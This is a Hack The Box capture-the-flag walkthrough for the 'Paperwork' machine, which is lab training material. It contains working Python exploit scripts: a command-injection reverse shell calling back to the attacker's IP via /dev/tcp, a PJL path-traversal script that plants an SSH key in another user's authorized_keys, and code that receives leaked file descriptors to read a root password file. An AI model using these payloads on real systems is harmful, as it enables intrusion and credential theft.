Hack The Box Paperwork Writeup | Complete HTB Walkthrough (LPD, PJL & Privilege Escalation)
after a long time i finally pushed the writeup.
i think paperwork should categorised as medium box.😂
after getting the ip address of the box i started with a rustscan and found
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
1515/tcp open ifor-protocol syn-ack ttl 63
after adding the ip address to my /etc/hosts file i started with a gobuster scan and no such diretory was found
next i did enumeration to find subdomains again nothing was found.
next i notice after headover to paperwork.htb
Internal Processor paperwork-archive-v1.02
download archive and extract it to got server.py file
analyzing server.py
opened it up and this is basically a fake lpd (line printer daemon) service listening on 1515. the important part is here
def handle_print_job(self, data):
queue = data[1:].decode().strip()
if queue not in VALID_QUEUE:
self.sock.send(b'\x01')
return
...
decoded_content = content.decode(errors='ignore')
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
it reads a “control file” (this mimics the real lpd protocol), grabs whatever’s on the line starting with J and calls that the job name. then it just yeets that straight into a shell command with shell=True and zero sanitization. classic command injection.
so the plan is: connect to port 1515, pick a valid queue, send a control file where the “job name” line breaks out of the intended echo command.
writing the exploit
import socket
target_ip = "10.129.44.91"
target_port = 1515
queue_name = "archive_intake"
rev_shell = "bash -i >& /dev/tcp/10.10.14.204/4444 0>&1"
import base64
b64_shell = base64.b64encode(rev_shell.encode()).decode()
cmd_injection = f"JName'; echo {b64_shell} | base64 -d | bash #"
def p8(val):
return bytes([val])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.sendall(p8(2) + queue_name.encode() + b"\n")
res = s.recv(1024)
control_data = f"{cmd_injection}\n".encode()
data_len = len(control_data)
s.sendall(p8(2) + f"{data_len} cfA000localhost\n".encode())
s.recv(1024)
s.sendall(control_data)
s.close()
base64’d the reverse shell to handle any weird char parsing issues, closed the quote early with ', chained a new command with ;, and commented out the trailing junk with #.
fired up a listener and ran it
nc -lvnp 4444
connect to [10.10.14.204] from (UNKNOWN) [10.129.44.91]
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)
foothold as lp.
enumeration as lp
first i check for the flags got nothing. then checked local ports since the nmap scan only showed 3 ports
lp@paperwork:/opt/LPDServer$ ss -tlnp
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:*
LISTEN 0 100 127.0.0.1:9100 0.0.0.0:*
two loopback-only services. port 9100 screamed jetdirect/pjl printer protocol given the whole theme of the box.
no nc on the target so had to do everything through inline python sockets. sent a raw pjl query wrapped in the UEL escape sequence real printers use
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSQUERY NAME="../"\r\n\x1b%-12345X')
print(s.recv(4096))
got back a directory listing. confirmed it, this thing implements a pjl pseudo-filesystem (FSQUERY, FSUPLOAD, FSDOWNLOAD, FSMKDIR).
also ran
find / -type s 2>/dev/null
and spotted /run/paperwork/mgmt.sock, owned root:archivist mode 660. noted for later, couldn’t touch it as lp.
path traversal on the pjl service
the daemon behind 9100 turned out to be jetdirect.py, running as user archivist
lp@paperwork:/opt/LPDServer$ ps aux | grep paperwork
root 1459 ... /usr/bin/python3 /usr/bin/paperwork-daemon
lp@paperwork:/opt/LPDServer$ cat /proc/983/cmdline | tr '\0' ' '
/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
couldn’t read the jetdirect.py source directly (permission denied on the home dir), so had to work it out from behavior. the FSQUERY NAME="../" earlier already gave the game away — no traversal protection, since it returned a listing from outside the intended spool folder.
plan: FSMKDIR a .ssh folder, FSDOWNLOAD my public key into authorized_keys, ssh in as archivist.
kept getting FILEERROR=1 on the write until i figured out the parser wants NAME before SIZE (not what the real pjl spec technically implies, but this is a custom implementation so its own quirks win). also learned the hard way this service is single-threaded — a bunch of overlapping half-finished connections wedged it completely (Recv-Q climbing in ss -tlnp and never draining). had to reset the box.
final clean script, one connection per request, fully drained before moving to the next:
#!/usr/bin/env python3
import socket
import sys
HOST = "127.0.0.1"
PORT = 9100
UEL = b"\x1b%-12345X"
def send_raw(payload, timeout=5):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((HOST, PORT))
s.send(payload)
chunks = b""
try:
while True:
data = s.recv(4096)
if not data:
break
chunks += data
except socket.timeout:
pass
s.close()
return chunks
def pjl_cmd(cmd):
payload = UEL + cmd.encode() + b"\r\n" + UEL
resp = send_raw(payload)
print(f"[{cmd}] ->")
print(resp.decode(errors="replace"))
return resp
def pjl_download(remote_path, content):
header = f'@PJL FSDOWNLOAD NAME="{remote_path}" SIZE={len(content)}\r\n'.encode()
payload = UEL + header + content + UEL
resp = send_raw(payload)
print(f"[FSDOWNLOAD {remote_path} SIZE={len(content)}] ->")
print(resp.decode(errors="replace"))
return resp
def main():
local_key_path = sys.argv[1]
remote_path = sys.argv[2] if len(sys.argv) > 2 else "../.ssh/authorized_keys"
with open(local_key_path, "rb") as f:
pubkey = f.read()
if not pubkey.endswith(b"\n"):
pubkey += b"\n"
pjl_cmd('@PJL FSMKDIR NAME="../.ssh"')
pjl_download(remote_path, pubkey)
pjl_cmd(f'@PJL FSUPLOAD NAME="{remote_path}" OFFSET=0 SIZE=99999')
if __name__ == "__main__":
main()
ran it
lp@paperwork:/tmp$ python3 /tmp/pjlkey.py /tmp/pubkey.pub
[@PJL FSMKDIR NAME="../.ssh"] ->
OK
[FSDOWNLOAD ../.ssh/authorized_keys SIZE=98] ->
OK
[@PJL FSUPLOAD NAME="../.ssh/authorized_keys" OFFSET=0 SIZE=99999] ->
@PJL FSUPLOAD NAME="../.ssh/authorized_keys" SIZE=98
ssh-ed25519 AAAA... kali@blackXploit
key landed clean. ssh’d in
ssh -i paperwork_key archivist@paperwork.htb
archivist@paperwork:~$ cat user.txt
[REDACTED]
user flag down.
privesc
back to that socket i noted earlier — /run/paperwork/mgmt.sock, group archivist. now that i actually am archivist, this is reachable.
grabbed the daemon behind it since it was world-readable
cat /usr/bin/paperwork-daemon
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
LOG_PATH = "/home/archivist/printer/logs/commands.log"
def scan_for_malice():
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
return any(t in content for t in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"])
def trigger_lockdown(conn):
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([b"ALERT: SECURITY_VIOLATION..."],
[(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
...
while True:
conn, _ = s.accept()
if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
runs as root (User=root in the systemd unit). it’s meant to be a watchdog checking the printer command log for suspicious pjl activity (FSQUERY/FSUPLOAD/FSDOWNLOAD) and “locking down” if it finds any — except its lockdown response is to send the connecting client two live file descriptors over SCM_RIGHTS, one of which is admin_fd, opened by root at daemon startup, pointing at a password file. classic case of the “security response” being the actual vuln.
and since every pjl command from the path traversal step already got logged, the alarm was basically pre-tripped. just had to connect and receive it
import socket, array, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/run/paperwork/mgmt.sock')
fds = array.array('i')
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_SPACE(64))
print('MSG:', msg)
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds.frombytes(cmsg_data[:len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])
for fd in fds:
print(os.pread(fd, 4096, 0))
MSG: b'ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.'
Received fds: [4, 5]
--- fd 4 ---
Listening on port 9100
[127.0.0.1] connected
Command: @PJL FSMKDIR NAME="../.ssh"
...
--- fd 5 ---
ADMIN_PASSWORD=[REDACTED]
recvmsg instead of a plain recv since SCM_RIGHTS is ancillary data, doesn’t show up on a normal read.
took that password, tried it straight up
archivist@paperwork:/$ su root
Password:
root@paperwork:~# cat root.txt
[REDACTED]
rooted.